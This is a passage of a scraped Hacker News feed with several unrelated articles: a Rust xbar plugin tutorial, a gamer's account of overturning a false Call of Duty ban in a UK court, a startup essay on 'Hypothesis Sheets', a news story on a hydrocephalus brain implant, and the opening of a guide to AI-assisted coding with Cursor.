A second thing I tried was to just write a bash plugin which calls my rust code - this works well, but it’s a little fiddly. This is actually what I use at work to build node.js plugins with a full package.json dependency file.

For rust though I found exactly what I needed - rust-script - which basically allows you to write a script like:

#!/usr/bin/env rust-script
println!("Hello world!");

And then the rust-script system will compile the code (if needed - it caches compiled binaries) and run it, like a shell script.

I did have to do one tweak though - XBar doesn’t run in a user shell, so /usr/bin/env doesn’t have access to your path - and rust-script is installed by cargo in ~/.cargo/bin - but you can tell /usr/bin/env what path to use with a bit of fiddling.

A very simple rust xbar plugin looks like:

#!/usr/bin/env -S PATH=/Users/${USER}/.cargo/bin:${PATH} rust-script

println!("Hello world!");
println;("---");
println!("drop down content here");

A proper rust example

This is a more realistic example. I added a main function, and a comment block at the top - both to define XBar metadata but also to fetch rust dependencies:

#!/usr/bin/env -S PATH=/Users/${USER}/.cargo/bin:${PATH} rust-script
//! hello-xbar
//! <xbar.title>XBar time</xbar.title>
//! <xbar.author>Korny Sietsma</xbar.author>
//! <xbar.author.github>kornysietsma</xbar.author.github>
//! <xbar.desc>Basic rust xbar sample</xbar.desc>
//! ```cargo
//! [dependencies]
//! chrono = "0.4.39"
//! ```

fn main() {
    let dt = chrono::Local::now();
    let humantime = dt.format("%l %M %p and %S seconds").to_string();

    println!("🕰️");
    println!("---");
    println!("{}", humantime);
    println!("say it! | shell=\"/usr/bin/say\" param1=\"The time is {}\"", humantime);
}

This gives a neat little clock widget similar to:

screeenshot of clock widget

If you click “say it” a voice reads the time, sort-of.

A bigger example - mpd-xbar-demo

I also have a more full-featured demo: mpd-xbar-demo on github

This lets me do basic controls for MPD (the Music Player Demon) which I use to play music at home.

On top of the approaches described above, it adds:

  • A cargo.toml project file - not essential, but very helpful to let editors help you with dependencies
  • a config setting - xbar allows you to define script configuration in environment variables
  • Installation instructions!

Finally be warned - XBar is neat, but sometimes configuration is fiddly. I’ve had to run killall -9 xbar more than once when things got stuck.

]]>
https://blog.korny.info/2025/01/18/toolbar-widgets-with-xbar-and-rust hacker-news-small-sites-42750945 Sat, 18 Jan 2025 19:57:14 GMT
<![CDATA[2-Year Call of Duty False Permanent Ban Reversed by Court Case]]> thread link) | @mdswanson
January 18, 2025 | https://antiblizzard.win/2025/01/18/my-two-year-fight-against-activisions-false-cod-ban-unbanned/ | archive.org

I want to clarify that this blog is just to share my experience. The “important” part you are likely after is in the “Legal” section of this post.

Any contact information can be found here.

This is NOT legal advice!!! Everyone’s experience may have different outcomes.

I have been fighting this ban placed on my Activision and Steam account for just over 2 years. On December 11th, 2024, during my second court case, it was ruled that I should have my suspension removed from the Call of Duty Franchise and all court fees paid. There were a few factors that led to this decision which I will go into more detail later on in this post. Key points include the hours played on my Steam account, other titles played with zero issues and most importantly, the lack of evidence that I broke the TOS on Activision Blizzard’s (AB) side.

For over 2 years (763 days as of writing) I was wrongly accused of cheating and false banned from Call of Duty: Modern Warfare 2022. As of 08/01/2025, this has been officially lifted on all platforms.

It has taken countless support chats, emails and phone calls to get this resolution so if you decide to take similar measures then be prepared to be in for a long and stressful journey. Here are a few resources I found very useful and may be of use to you, in case you haven’t seen them:

Mike Swanson’s Blog is written by a former Microsoft employee of 12 years who has shared his story with Activision. A good chunk of the pages I submitted to the courts were this blog (with Mike’s consent). It was extremely helpful to be able to refer to someone with credentials to get my point across.

AntivisionBlizzard is another website that was of use and was one of the cases I had read that made me consider legal action. Also a good example of someone from the US taking the legal route.

COD False Ban Community is a Discord server that I had joined when it had hundreds of members. Being here from the start, I have seen so many stories of innocent players being banned and referred to this community in court. This is where I obtained most if not all the resources above from.

Hi, I’m b00lin! A name you likely have never seen before until now which is partly why this entire process was incredibly difficult. Activision tend to cater to those with a following; unfortunately I am not one of those people. I hold a degree in Computer Science and work in IT. While I may not know much about the law, I do have a good idea how computers work! I also play a lot of games (205 games in my Steam library).

I have sunk a lot of hours (and money) into gaming on Steam which is why this matter was so important to me.

I also play a lot of games that are not on Steam, Valorant being a good example. This is particularly important as Riot Games’ anti-cheat (Vanguard) is much-more-aggressive than Activision Blizzard’s anti-cheat (Ricochet). Riots anti-cheat will go as far as blocking certain files from loading on the machine (even if it does not manipulate Valorant files or game data).

On 30th June 2022, I pre-ordered Call of Duty: Modern Warfare II (2022) after playing the previous instalment of Modern Warfare II. This gave me access to play the game early (beta version of the game meaning bugs and issues are possible).

After 36.2 hours of gameplay, on the 11th November 2022, I opened my Steam profile to be greeted with a ban message. It stated that I was permanently banned from Modern Warfare II (2022), resulting in a marker being displayed on my Steam profile. Naturally, I attempt to find out why I was banned and appealed the ban. I received the dreaded email that most of you reading received.

My ban was “reviewed” and permanently banned for using “unauthorized software and manipulation of game data”.

Naturally, I am annoyed about this and the appeals to get this reversed begin. Returning back to Activision’s website you will find nothing of use. I tried to appeal via the website however it was denied (yet to see one get accepted). Activision does not let you appeal more than once which starts the process of trying other places to plead your case.

To keep it short, I did what most people have done.

  • Contact Activision support numerous via their ticket system
  • Open multiple bbb.org tickets
  • Attempt to phone Activision support (not possible)
  • Contact anyone from Activision via LinkedIn
  • Sending a letter AND email

Doing all of this I was told that my account would remain banned and that the decision was final. When appealing these bans, I would often ask if there was any proof of the “unauthorized software” used. The answer I always received was that they are unable to due to it being a security risk and could expose how the anti-cheat works.

There were multiple issues I had with this:

  • Knowing information such as the name of the software, IP address that was used and how the software manipulated game data would all be known to a cheat developer. Not even this harmless information is provided.
  • How can I prove that I didn’t cheat when no information has been provided? Was it Logitech G Hub? iCUE? OBS? To date I still don’t know what caused the false ban.
  • Allegedly the anti-cheat driver kernel was leaked around 3 years ago, meaning cheat developers already have a good idea how the anti-cheat works.
  • Just like anti-cheat’s, cheating has become a multi-million-dollar industry, and where there’s a will, there’s always a way. Fighting against cheaters is a cat and mouse game, no game will have zero cheaters. Even simple games like Muck and WEBFISHING will spawn in cheaters.

Before I get into the legal side, the EULA is something I want to touch on. From the start I have strongly recommended people to NOT ban evade and NOT use HWID (Hardware Identification) spoofers of any kind. This kind of activity might be seen as a violation of the TOS, even if the ban was invalid. You could argue that the original ban reason is for a totally different reason if Activision were ever to try and bring that up. I’m not a lawyer though, just speculating what could be a possibility (if they even care to get the evidence of that).

Activision’s EULA I am very familiar with at this point, most of it I found being irrelevant except Section 3. The legal team will also often refer to this. There is a noteworthy clause in the EULA that in layman’s terms, states that Activision can terminate your licence without a reason/for whatever they want.

In my experience, this clause did not work for Activision when they tried to use this in court because on numerous occasions had stated the “unauthorized software” reason multiple times, meaning they should be prepared to argue/defend that reason.

After so many attempts of trying to come to a resolution, taking it to the legal system was the only option. Offering to sign NDA’s and use an Alternative Dispute Resolution (ADR, which is required before to do before UK courts) was not enough. ADR is simply a way of trying to come to an agreement before going to court.

Again, I DO NOT know the law. I would do it differently if I had to do it again (hopefully I don’t) however, this is just how it played out based on what I was advised.

I started off by filing a Money Claim Online (MCOL) in January 2024 to the courts in the UK. I paid the fee, and claimed for the cost of the game + the fee to file the claim. Weirdly enough, I had no answer from Activision which resulted in me winning by default. This meant I had won and it is over right? Right?

When giving my bank details to be paid out, I requested that they also remove the ban from my account and gave notice that I would go back to the courts if they failed to remove the suspension. Activision paid me out but still refused to remove the suspension placed on my account. Their reasoning was that the courts did not order them to do so therefore they wouldn’t. I am sure they wish they had done so because it ended up costing them in the long run.

Annoyed that I still had my ban, I followed up and started getting advice as to how I can file for something that isn’t money related. After many phone calls with Citizens Advice and the courts, I found that I had to issue a non-money claim. The downside to this is that it gets expensive very quickly, paying £365/$462 just to file the claim and roughly another £360/$454 to pay the for the actual hearing.

Eventually I managed to get it filed with the courts and the legal nightmare continues. It is at this point that Activision decide to pass the case to a law firm and no longer wish to deal with it themselves, something I have seen them do with other cases.

I’ll admit, this isn’t fun and can be incredibly intimidating to someone who doesn’t know the law. I’ll skip past all of the boring filings that have to be done and get straight to the main points.

Their defence throughout the entire 2 years has been the exact same, that I cheated and they have the right to permanently suspend my account. The lawyers they hired also parrot the same thing that I have been told by Activision countless times.

I decided to try one last time to try and come to an agreement with Activision (UK courts encourage this). I phoned the law firm acting on behalf of Activision and was willing to settle under the following terms:

  • Request that the suspension be removed on my Activision account and all accounts linked to it. 
  • In return, I would waive all monetary claims related to this new claim (the filing and hearing fee) AND return the £94.99 that was paid when I did the Money Claim Online.
  • Not pursue any further action towards Activision Blizzard regarding this matter
  • Sign a non-disclosure agreement regarding the terms of the agreement as well as being open to terms being changed as they see fit.

The law firm reported this information back to Activision but they declined once again. They believed that they were in the right and that the ban should remain. It was at this point the law firm suggested I should withdraw my claim because it was an abuse of the Court’s process, meaning my case would be dismissed immediately and thrown out. The email also noted that if I were to continue the claim, it would be struck out immediately by the Judge. As a result, they would also recover legal costs meaning I would be in an insane amount of debt.

As someone who is not a lawyer, I wanted to back down and trust the lawyer who knows the law. Looking back, I assume that this is what they wanted me to think. They wanted to intimidate so I didn’t show up, I am very glad that I didn’t.

Since neither parties could come to an agreement, it actually ended going all the way to the courts. I assume Activision wouldn’t expect me to take it this far but here we are!

In the UK court small claims court system, both parties have to submit the evidence they intend to use to the court AND the other party. When they submitted the evidence they intended to use, I noticed straight away there was zero evidence of what they are accusing me of.

??????

This meant that if I didn’t commit any abuse of process within the courts, my case would be heard and Activision would have no evidence to show what they are claiming. It would appear that Activision’s anti-cheat/security team is so strict that the people they hired to defend them were not allowed to see any “evidence” of the “unauthorized software or manipulation of game data”.

Knowing this information gave me a bit more confidence however there was an issue. In their defence, Activision explained that the burden of proof should be on me as “there is no requirement for Activision to prove that I had cheated” and “any burden rests on the Claimant” (me). The Judge agreed with this so I had the task of providing evidence that I didn’t cheat.

This was going to be difficult as I had to try and prove a negative. On top of this, I had nowhere to start as I was still unaware of what could have been flagged by the anti-cheat. The only way I could plead my case was by showing evidence that contradicted the claim being made. The points made were:

  • I have played a lot of games over the course of 7 years with zero issues.
  • Having 36.2 hours playtime and being banned makes no sense when my other games have 100’s or 1000’s of hours put into them.
  • I would not be putting myself through a strenuous process of 2 years in an attempt to get this resolved.
  • I was not suing for money and just wanted the suspension removed. Furthermore, I also noted that I wanted nothing to do with Activision after this.
  • The game was in beta at the time of being banned meaning the product was incomplete. This means that it was susceptible to bugs because it was incomplete. (It can still be argued that the game still has a lot of bugs).

As part of the UK court process, the defendant was allowed to ask me a set of questions. These questions that they asked happened to work in my favour. Here are a few of those questions they asked (paraphrased):

  • Do you believe cheaters are bad?
  • How should companies deal with cheating?
  • Have you ever played a game with so many cheaters that you have stopped playing that game?
  • Do you agree that cheating on PC is much more of an issue than console?

Of course I believe cheating in games is bad. I also believe that companies should ban those who cheat in games. However, I made it very clear that an anti-cheat should ban those that are actually cheating, not innocent players. I mentioned that I had stopped playing a game because of cheaters (CS2) but picked it back up because of FACEIT where I made it clear that I had willingly opted into using an anti-cheat in order to combat those cheaters.

The final question asks if cheating on PC is more of an issue than it is on console is quite interesting. I never made these points in court but as it wasn’t relevant but think it deserved a mention here. The freedom PC users have over their hardware makes cheating much more of an issue. What doesn’t add up is that a large amount of console users are also getting banned by the anti-cheat. To my knowledge, there are no public/known exploits that can be done on the newer gen consoles to use unauthorised third party software or manipulate game data. If that is the case, how are so many people being banned on consoles for this? Someone can correct me on this if it is incorrect.

During the case, the lawyers also mentioned that the ban should remain because it had been “reviewed” and they could “confirm” that I had “broken” the EULA/TOS. This was an interesting point because it made both me and the Judge question, who actually reviews these complaints/appeals?

What kind of credentials do they have?

How rigorous are these reviews?

Does anyone even review these appeals?

I’m sure a few of you have been told that your case has been “reviewed” and possibly more than once. On numerous occasions, I have been told that my case was “reviewed” and that the decision was final. It was only until this was mentioned in the court that it was challenged.

It was decided that I should have my suspension removed AND have the court filing and court hearing fee repaid by Activision. A combination of the evidence I submitted (a good chunk of it being Mike Swanson’s Blog) and lack of evidence submitted by Activision led to this decision. The Judge was also satisfied with the case that I had put forward and that I wouldn’t have cheated on their game. The Judge also found Activision to be the one in violation of the contract and with that, 2 years of phone calls, emails and reading pages of legal jargon had finally come to an end.

To me this ban mattered a lot. Having a Steam profiles reputation ruined after 7 years of ownership is what fuelled me to keep going and not give up. A ban for something I did not do on a profile I cherish and have spent 1000’s did not sit right. For games like Counter Strike 2, it takes into account the Steam profiles standing when matching you with players. Those with a poor standing can get put into lower quality matches.

This ban also ruined other games for me. If I ever did well in a game, someone would look at my profile to see how many hours I have and instantly see the red marker that shows “I am a cheater”.

Once people see that you have a game ban on record, in their mind it confirms you were cheating because “an anti-cheat would never be wrong”. A lot of these people will hopefully never have to go through this process which means they would never know it is an issue that exists.

Unbanning Process

Unfortunately I do not have a date of when I was unbanned on Activision’s end but the ban was lifted.

If I had to guess it was done within 14 days of the court hearing however, the ban was not removed from Steam at the same time. In my experience, it is very important to specify that Activision need to contact Steam in order to remove the ban as Steam themselves state they are unable to modify or remove game bans. Any attempt to contact Steam will result in them redirecting you to the game developer.

The Steam game ban was removed on the 8th January 2025.

Conclusion

After fighting this false ban for over two years, I am happy to say it is finally over. In my opinion, it was worth the effort just to see the account alert above. Hopefully I have highlighted that this is a serious issue that should be resolved. False permanent and shadow bans are still prevalent in the newer titles that use the Ricochet anti-cheat. This will likely continue to be an issue because it isn’t something being addressed on a larger scale.

I want to once again thank everyone who has helped throughout, especially those who documented their own experiences and provided resources that were useful in court.

University of Birmingham – A research paper was conducted to show that cheaters will commonly bypass Microsoft Windows kernel protections.

University of Birmingham – The research paper mentioned above. It discusses anti-cheat’s effectiveness.

Restera/Anti-Cheat Police Department – 3 years ago, showing the kernel driver for what was then the new anti-cheat “Ricochet” being leaked.

PCGamer – PCGamer’s article which raised the issue of innocent players in Call of Duty being banned.

Activision TOS – The amount of times I had to refer to this was scary. If you ever decide to go down the legal route, you will need this.

Call of Duty Security & Enforcement Policy – Was not used nearly as much as the TOS but it is still important.

Mike Swanson’s Blog – Mentioned in the introduction but I felt it was worthy of being mentioned again

HunterTV – A YouTuber who creates videos in an entertaining format whilst still highlighting issues with Call of Duty. He showcases that even after a long period of time, the game still has major bugs. Some videos also show

]]>
https://antiblizzard.win/2025/01/18/my-two-year-fight-against-activisions-false-cod-ban-unbanned/ hacker-news-small-sites-42750684 Sat, 18 Jan 2025 19:21:22 GMT
<![CDATA[How to navigate and exit the idea maze]]> thread link) | @vortex_ape
January 18, 2025 | https://michaelrbock.com/hypothesis/ | archive.org

In 2020 when we were at the beginning of our startup journey I had a conversation with Erik Goldman where he shared this process, which we used to start Column Tax. I'll be forever grateful for Erik's time, and I thought it worthwhile to capture Erik's wisdom permanently online so others could benefit as much as I have.

Intro

Navigating the early startup idea maze and finding a (good) startup idea to work on is incredibly tough1. Having a process can help you a) find and validate a good startup idea and more importantly b) stay sane by feeling like you're making progress while doing it.

In this post, I'll explain a well-tested process for finding early Product<>Market Fit called "Hypothesis Sheets", why the process is useful, and how to follow it. This process works to validate startup ideas for venture-scale B2B companies. This process has led to many billions of dollars in market cap created. This post is geared toward starting a B2B company — if you're starting a B2C company2 I believe Hypothesis Sheets can help, but that's not my area of expertise — good luck 😂.

Starting a venture-backed company is never easy, but this process can help make the early days slightly more enjoyable.

The process boils down to 4 steps:

  1. Come up with a list of ideas/target customers
  2. Decide on a target idea/customer type to validate
  3. Validate that idea/customer type using Hypothesis Sheets
  4. Continue de-risking or move on to the next idea/customer type

Let's go into detail on each of these:

The core idea: startups are a series of hypotheses

Companies are a series of hypotheses. Similar to the scientific method, successful founders are able to continually set the right hypotheses and prove/disprove them to move the business forward.

An untrue hypothesis that the business relies on represents a risk. The process of moving a company forward is the process of de-risking the company's biggest risks.

In the beginning, the core risk is "what problem should we tackle?" — while later a risk might be, for example, "can we sell to larger enterprise customers?"

As a founder, you should always be de-risking the business's top risks. But this is especially important to be doing in the very early days. You should be more rigorous and analytical than you expect on day 0. The Hypothesis Sheets method helps bring rigor to this very ambiguous phase.

Finding Product<>Market Fit

There are two main checkpoints for a startup: 1) finding PMF3 and 2) scaling it.

You must internalize that PMF is tough and random to find. And the optimal strategy to find PMF is not making just one attempt: the more "darts" you can throw to try to find PMF, the better4. VCs have an inherent "dartboard" built into their business model, so you can't necessarily trust their advice on this topic :).

Throwing a lot of darts: have a formal process

So how do you throw a lot of darts? Start by coming up with a list of ideas/customer types5 that you'll validate. Decide on which idea/customer type you're going to validate6 and for how long (I recommend working in 1 week sprints).

Then, don't spend more time than you need to7 on any single attempt. Make sure you move on at the right time. Have a set threshold you are trying to reach, and then de-risk as quickly as possible (using the process below) to decide (using the framework below) if you want to work on this idea or move on to the next one.

Overall, you should have a formal process for this idea maze phase. 80% of the reason to have a process is to stop yourself from going insane because progress is so nonlinear-feeling during pre-PMF startups. The Hypothesis Sheets method helps by providing structure so you can more easily track the progress you're making (even if that progress is proving a hypothesis false and throwing away an idea).

The process: Hypothesis Sheets

The formal method for validating each idea is called "Hypothesis Sheets".

Here's how it works:

  1. Write down everything you believe to be true about your customer (and why you think it's true).
    a. Do this no matter what: don't start with a blank sheet. Start by writing down what you actually think even though it's probably wrong. Write something down even if you think you know nothing at all8.
    b. For example, if I were starting a Hypothesis Sheet for HR Managers at shift work companies, I might start by writing down a few hypotheses:
        i. "HR Managers have a hard time managing their workers shift schedules"
        ii. "HR Managers managing shift schedules have 6 figure software budgets"
        iii. "The hardest part about managing a shift work schedule is dealing with last-minute changes like someone calling in sick"

  2. Next, stack rank which hypotheses are most important9 and prove each item on your list true or false. And add new hypotheses as you're going.
    a. Be very rigorous/honest about how to prove each hypothesis.
    b. For example, for a hypothesis about a customer's workflow, you may be able to prove/disprove it by doing customer discovery calls. E.g. we can learn what the hardest part of an HR Manager managing a shift work schedule is by talking to people who do that job directly and asking them about their current workflow.
    c. But for other hypotheses, e.g. will someone buy [a product], the only way to prove/disprove it may be to put a checkout screen in front of a user and see how many people enter their credit card number and click "buy". Asking your customers (or worse, your friends) if they would buy your product simply won't cut it: there's a huge difference between someone saying they will buy something and them actually paying money for that thing.

  3. Eventually, progress on proving/disproving/adding hypotheses to your list will slow10.
    a. One sign this is happening is that you keep having the same customer discovery convo over and over: a good rule of thumb is that if you hear the same thing 3 times in customer discovery convos, you can likely move on to the next hypothesis11.

  4. Then, look at your Hypothesis Sheet — and you'll Just Know something to build that people will want12.
    a. If you hit a wall: you either have the perfect product to build or you're wrong about one of your hypotheses.

Here's an example initial Hypothesis Sheet for my imaginary company selling to HR Managers managing shift work schedules:

Screenshot 2025-01-11 at 15

As we prove/disprove each hypothesis, we can mark it True/False in the last column, as well as add/update hypotheses as we're talking to more people.

Here's a template you can use to start your Hypotheses Sheets: https://docs.google.com/spreadsheets/d/16F6SxCeeTuFtnR-qieQw_c8oai1Fih1jKUrCUy-MLA8/copy.

Caveat: you should throw away an idea/customer type/market when:

  • you know the product to build, but it's not and won't become VC-backable scale13
  • you are completely stumped about what to build based on your proven hypotheses
  • you know what to build, but you would have no real moat (for example, users just want a better design, e.g. Mailbox)

Remember, arbitrage opportunities14 close quickly in business! So it's important to move quickly. I recommend working in 1 week sprints during this process. Set a goal for the sprint (i.e. which hypotheses you are going to prove/disprove this week and how) and then check in at the end of the time period to decide to continue learning about this customer or switch to a new one.

How to run customer discovery calls

One of the most common ways you will prove or disprove hypotheses about your target customer during this phase is by doing customer discovery calls15.

The worst question you can ask during a customer discovery call is "what are your problems?" — don't do this and expect to get a real answer. If they already knew the answer, they would have solved it by now! So the answers to that question are always bad. Don't literally take what customers are saying at face-value. When someone says their biggest problem is X (e.g. hiring), their real problem is actually probably Y or Z (e.g. they have a non-inspiring mission).

People cannot at all speak about the future ("where is your industry heading?"). And people are surprisingly bad at abstract thinking ("what are your problems?", "where are you spending the most money?"). But customers are fantastic at telling you concrete facts about the past/present ("would you be comfortable sharing your calendar with me?", "can I see your software budget for this year?", etc.)

The better process for customer discovery

Ideally, you'll do enough customer discovery such that you can build a model of your customer in your mind so you can simulate them and then do "customer discovery" internally inside your company. This means understanding your customers well-enough so you know their real problems, not the ones they say they have.

It's common for founders to have an "industry" they're looking into. But I recommend switching how you think about this phase of the process to thinking about "customers" instead. E.g. instead of thinking about starting a company in "Shift scheduling management", instead learn about what "HR Managers" or "Shift Workers" need. Presumably these specific customers have problems they need solving (and are willing to pay to have solved)16.

For more advice on this, read the book The Mom Test (this is my bible and I highly recommend it).

A couple of specific customer discovery hacks:

  • At the end of the call, ask: "is there anyone else in your field you respect?"
    • And then live on the call (it's uncomfortable to do, but it works): "would you be open to introducing us?"
  • Also, you can tell them "I'm building this Hypothesis Sheet that I'll send you after" — which can provide value to the person and make talking to you seem more worthwhile.

Conclusion: this is not necessarily a fun time :)

A reminder for folks in the idea maze: when you talk to founders further along (including me!) we will sometimes look back at this idea stage as "fun" and that the world "was our oyster". But remember that you're likely talking to folks who made it out of the idea stage. For every founder who made it out, I know half a dozen who spent months to years in the idea maze and never made it out. In other words, read this post with a healthy grain of this:

Survivorship-bias Be careful of Survivorship Bias: you're only hearing advice from people (like me!) who survived the startup idea maze, not those who never made it out.

Finding PMF is hard for everyone. There's something magical about being able to get to the point where your problems are totally different from "what should I build?" — good luck!

If you have questions about this essay or think I got something wrong, send me a message — I read & respond to every DM/email I get.

Thank you to Erik Goldman, Hannah Squier, Julian Ozen, Oliver Gilan, Achyut Joshi, Nathan Lord, Nadia Eldeib, Varun Khurana, Idan Beck, Aditya Agarwal, and Andrew Rea for reading drafts of this essay.

To get notified (extremely rarely) when I publish a new post, subscribe here:

  1. There are lots of reasons startups are tough. But two of the top reasons in the very early days are: limited time/runway and limited motivation. Long feedback loops are slow and demoralizing. The goal of Hypothesis Sheets is to shorten feedback loops and therefore (in Erik's words) make starting a startup more tolerable in the early days.

  2. Consumer companies can be like trying to find "lightning in a bottle". It takes a special type of founder — who is willing to search for lightning to strike — to start a B2C company. It's still likely that a structured process like Hypothesis Sheets can help: the techniques you'll use to validate hypotheses are often different, but the philosophy is the same.

  3. If something is going to work, you should be getting increasing signals of PMF over time. At some point culminating in "undeniable PMF". But that's a spectrum and not unilaterally consistent, even in B2B companies. The point of this post isn't to debate the definition of PMF, but to help you exit the idea maze.

  4. There's one caveat to this advice: when you eventually begin recruiting employees, you can't say that you found your company idea by throwing 100 darts. People want to join companies with what feels like preordained certainty, so companies make up founding myths to help make recruiting easier. As an example, the Dropbox thumbdrive story is literally made up. And Blockbuster sued Netflix because Netflix's founding story about Reed Hasting's Blockbuster late fee was totally made up! Now that's a good founding story!

  5. The topic of coming up with a list of startup ideas is a topic for another post 😅 — but the quick version is there's a list of prompts you can ask yourself, e.g. "what do you believe that others don't realize yet?", "what do rich people have access to that others don't yet?", and "what are you uniquely good at?". If you're interested in me writing the post on generating startup ideas, let me know!

  6. Deciding on which idea to work on next is also a topic for another post 😅 — again, let me know if you'd be interested in reading this post.

  7. There is a strong emphasis on "than you need to" — I encourage you to literally brainstorm every possible way to validate something and then pick the cheapest one to do. One thing that's hard for some folks to understand is that if you're SpaceX, it might take five years to run your test. Don't pick something that can be done in a month but is insufficient to prove/disprove your hypothesis. The goal of a founder is to keep asking, "could we validate this with a cheaper strategy?" over and over — that's most of the job of a founder, even as the company scales.

  8. Whatever is in your head will either end up on the Hypothesis Sheet or just silently and incorrectly baked into your product: the Hypothesis Sheet is a much better place!

  9. A common follow up question is "how do I know which hypothesis is the highest risk?" and the answer is: "don't think too hard about quantifying risk with a framework here, just do a gut check and roughly sort". You'll probably be close to right.

  10. Erik calls this "surprise factor". Surprise factor is when you ask, "and that must have been really bad, right?" and the customer says, "no, it was great" or something equivalently surprising. Surprise indicates that your Hypothesis Sheet is broken and needs to be rearranged to better capture the state of the world. If you build a product based on a Hypothesis Sheet with surprise factor remaining, you will be surprised when no one wants your thing! Erik encourages founders to track surprise factor qualitatively but explicitly with each validation step. Eventually, surprise will die down and your model is now aligned with the world. You can now iterate on ideas without leaving your house because you have the correct world model!

  11. Another heuristic is to track overall surprise. When things are slowing down, you can even challenge yourself to ignore the sheet and just try to find surprise (aka where the model breaks) in a conversation. If you can't find it, you're good to move on.

  12. Or not! Many Hypothesis Sheets end with a conclusion that there's nothing there. As long as you ran the process, you can feel good about moving on to something else. When founders are discouraged at the end of a Hypothesis Sheet, Erik will often encourage them to write a blog post about what they learned: this is a much more tangible artifact of progress than just silently pivoting.

  13. Based on your analysis of if the market is big enough to support a venture-scale startup. How to do this is also probably the makings of another post! There's also one caveat: and you don't have a specific hypothesis about why the market will grow into a venture-scale.Many great businesses started as niches (e.g. personal computing) but there was a single hypothesis (that could be rejected) about why it wouldn't be that way forever. When Erik did Vanta's seed round, the question they'd ask is: do you think there will be more regulation on tech companies in the future, or less? Vanta was a bet on "more". It could have been less! That's what betting is. But being specific about what the bet is that the market will be much bigger in the future is much easier to understand than generalities.

  14. The Efficient-market hypothesis is probably not true! Good startup ideas don't last forever.

  15. How to find and schedule customer discovery calls is a topic for another post 😅 — there are lots of micro tactics to use to get folks on the phone/Zoom. The quick version: do 10x more than you think you need to to get in touch with people.

  16. The emphasis here is, "don't learn about customers' problems, learn about customers". Sitting down and asking someone, "what are your problems" is trying to start the race at the finish line (and also won't work). Instead, try asking: "what's your background? how did you get into this line of work?" / "can you go through your calendar and tell me what you did this week? what did you do in (meeting)? is that related to a goal your team has this year?" / "what do you enjoy about your job? what do you hate about it?" / etc. Do that for a few hours and you won't need someone to tell you their problems, you'll have enough information to describe them in your own words. Often, you'll surprise a customer by summarizing what you learned and it will be a perspective they haven't thought about in their own work. That's because they don't interview, e.g., tax accountants for 30 hours about their lives; instead they spend time reading the tax code and getting things done. You actually have unique insights on them that they don't have time or resourcing to compile themselves!

]]>
https://michaelrbock.com/hypothesis/ hacker-news-small-sites-42750654 Sat, 18 Jan 2025 19:18:19 GMT
<![CDATA[Smallest brain implant ever helping those living with hydrocephalus]]> thread link) | @billybuckwheat
January 18, 2025 | https://www.rnz.co.nz/news/national/539341/smallest-brain-implant-ever-helping-those-living-with-hydrocephalus | archive.org

Doctor on blurred background using digital brain scan hologram 3D rendering

The implant is only two by three millimetres, and weighs 0.3 of a gram. Photo: RNZ/123rf

A patient in a clinical brain implant trial says the world-first technology has reduced her anxiety around her symptoms.

Clinical trials are underway for a neural implant to monitor brain pressure in those living with hydrocephalus.

The condition causes fluid to build up in the brain which, if untreated, can be fatal.

Patients can be born with hydrocephalus or develop it later in life.

It is typically treated with a small tube, called a shunt, implanted under the skin which drains fluid from the brain into the stomach.

However, shunts had a 50 percent chance of failure in the first two years.

To tackle this, researchers at the Auckland Bioengineering Institute and Kitea Health developed an implant to measure pressure in the brain using an external, wireless wand.

The implant is only two by three millimetres, and weighs 0.3 of a gram.

Clinical trials in adults are about 50 percent complete, and trials on children have begun.

It is a world first, the smallest brain implant ever developed, as well as the first implantable medical device developed in New Zealand.

Student nurse and triallist Jessica Grainger was diagnosed with hydrocephalus in 2023, after three years of migraines.

Her first shunt failed in October 2024, after which she signed up for the clinical trial.

"The original diagnosis, I just wanted to cry in [the doctor's] office when he told me, because they'd finally figured out what was wrong and it just meant that there was something we could do to try to see if it would help, and I've not had one migraine since that first surgery," Grainger said.

Having the implant had been seamless.

"Having the wand there is just really, really cool, to be able to do from home and do by myself."

Grainger said having the implant relieved much of her anxiety when it came to feeling unwell.

"It's eased a lot of anxiety around feeling like 'oh my gosh is my shunt failing,' and then I check my readings and it's normal.

"It's kind of promoting my self-management, with the diagnosis, and being able to know when I need to go and see someone."

The implant was a huge milestone, co-founder and chief executive of Kitea Health Simon Malpas told RNZ.

"It's New Zealand's first implantable medical device of any sort," he said.

"The second thing is that it's the smallest brain implant ever developed.

"Importantly, it's the first time, world first, that someone can measure their own brain pressure at home."

Malpas said patients now had confidence in their symptoms, avoiding potentially unnecessary trips to the hospital.

"Two thirds of the time it turns out to be a false alarm, they do not do surgery," he said.

"Ideally we'd fix that problem, but people have been trying for 40 years without success to improve that, and so we've looked at this and said 'well, we can't fix the shunt but we can give confidence and data'."

Malpas hoped the use of the implant would reduce the strain on the health system.

"We know that children in hospital and people in hospital, it's expensive, you're on the ward, that's expensive, an MRI or a CT scan is expensive.

"All of those things cost, cost quite a lot.

"We can, we believe, save considerable cost to the healthcare system through reducing these false alarms."

Sign up for Ng� Pitopito K�rero, a daily newsletter curated by our editors and delivered straight to your inbox every weekday.

]]>
https://www.rnz.co.nz/news/national/539341/smallest-brain-implant-ever-helping-those-living-with-hydrocephalus hacker-news-small-sites-42750431 Sat, 18 Jan 2025 18:50:30 GMT
<![CDATA[A Practical Guide to AI-assisted programming]]> thread link) | @iamflimflam1
January 18, 2025 | https://www.makingdatamistakes.com/making-tea-while-ai-codes-a-practical-guide-to-2024s-development-revolution/ | archive.org

A practical guide to AI-assisted development, where coding becomes a true partnership with AI. Drawing from hundreds of hours of experience, learn concrete patterns and practices for achieving 2-5x productivity gains while keeping AI's power safely contained.

Making Tea While AI Codes: A Practical Guide to AI-assisted programming (with Cursor Composer Agent in YOLO mode)
If you want to trip up an image generation algorithm, ask for "A centaur on a trapeze, somersaulting high in the air, bathed in disco lights in a circus big top, with a net in the distance below". This is the closest I could come that didn't look like a parade horse on a gallows.

It was afternoon on New Year's Eve 2024, and I had 15 minutes before we needed to leave for the party. The dishes weren't done, and a stubborn DevOps issue was blocking my hobby project - the web server couldn't talk to the database in production. Classic.

I had an inspiration for how to tackle it, but there was no time to try it! So I gave Cursor (an AI coding assistant) clear instructions and toddled off to do the washing up. "Wouldn't it be poetic," I thought, "if this became my story of the moment AI truly became agentic?"

Five minutes later, I returned to find... my laptop had fallen asleep.

I gave it a prod, went back to the dishes, and then checked again just before we walked out the door. This time? Success! Clean dishes and the site was working perfectly after a long AI Composer thread of abortive attempts, culminating in a triumphal "All tests passed". My New Year's gift was watching an AI assistant independently navigate a complex deployment process while I handled real-world chores.

What is Cursor?

